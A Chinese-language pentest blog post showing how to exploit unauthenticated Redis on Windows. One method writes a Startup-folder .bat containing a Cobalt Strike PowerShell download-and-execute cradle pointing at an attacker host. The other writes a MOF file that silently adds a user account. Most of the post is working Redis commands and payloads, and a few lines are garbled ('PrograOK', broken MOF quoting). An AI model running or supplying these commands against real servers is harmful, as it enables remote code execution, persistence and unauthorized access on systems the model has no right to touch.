Redis奇怪的姿势
阅读原文时间:2023年07月10日阅读:2

Redis奇怪的姿势

写在前面

之前渗透 摸鱼 时和小伙伴发现了一个redis,存在未授权,是win服务器但是没有路径,度娘了之后发现了这个姿势,特此学习记录一下。

写入启动项

windows 07

redis 2.X

VPS + CS teamserver

kali CSclient

win7 启动redis

redis-server redis.conf

启动CS teamserver

nohup ./teamserver ip password

step0

目前已知

windows服务器 + redis未授权 + 无web路径

因此写入启动项直接cs上线

tips:

windows开机启动目录一般为

`C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/`

由于Start Menu有空格,需要双引号将路径包含。

目标

cs上线这台运行redis的win7机器

step1

添加一个Listener监听器

选择 攻击-->钓鱼攻击-->Scripted Web Delivery(S),选择刚才添加的Listener

点击 开始 生成powershell的shellcode

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://ip:88/a'))"

将shellcode复制出来备用

step2

后面过程类似于向目标机器中利用redis写webshell

这里有几个小坑点,一个是注意服务器的管理员名称,比如我的就是admin,其次是设置x的value时,因为redis的语法 使用 set key "value" 时需要双引号包裹value的值,而如果value内的payload也需要双引号时需要在value内的双引号前加反斜杠 \ 转义双引号。

192.168.124.158:6379> config set dir "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\PrograOK\\startup\\"
192.168.124.158:6379> config set dbfilename test.bat
OK
192.168.124.158:6379> set x "\r\n\r\n powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://ip:88/a'))\"\r\n\r\n"
OK
192.168.124.158:6379> save
OK
192.168.124.158:6379>

可以看到目标机器成功写入

后续只需重启机器,此目标服务器就上线了。

总结

虽然需要重启算是比较鸡肋的一个点,但是在不知道路径的情况下提供了一个新的思路。

需要的前提条件有:

redis未授权/弱口令

windows服务器(参考文章为win2003,我自己用的win7都可上线)

有启动项目录相应写入权限

重启服务器(可结合简单钓鱼等)

写入MOF

也是根据作者的文章,在无法重启时该怎么办。作者提供了一个思路,写入mof中,因为mof会每隔5s去监控进程的创建和死亡,功能已经类似于计划任务。在mof中有一段是vbs脚本,可以利用此脚本去添加管理员用户。

MOF目录,此目录下的mof文件每隔5s执行一次

c:/windows/system32/wbem/mof/

准备MOF文件内容

#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user 3shine admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

先执行如下命令

(echo -e "\n\n"; cat mof.txt; echo -e "\n\n") > foo.txt

redis命令行执行

config set dir "c:\\windows\\system32\\wbem\\mof"
config set dbfilename 123.mof
get x  //确认下是否将mof文件内容写入
save

之后就可以看到添加了一个新的3shine用户。

参考文章

https://www.anquanke.com/post/id/170360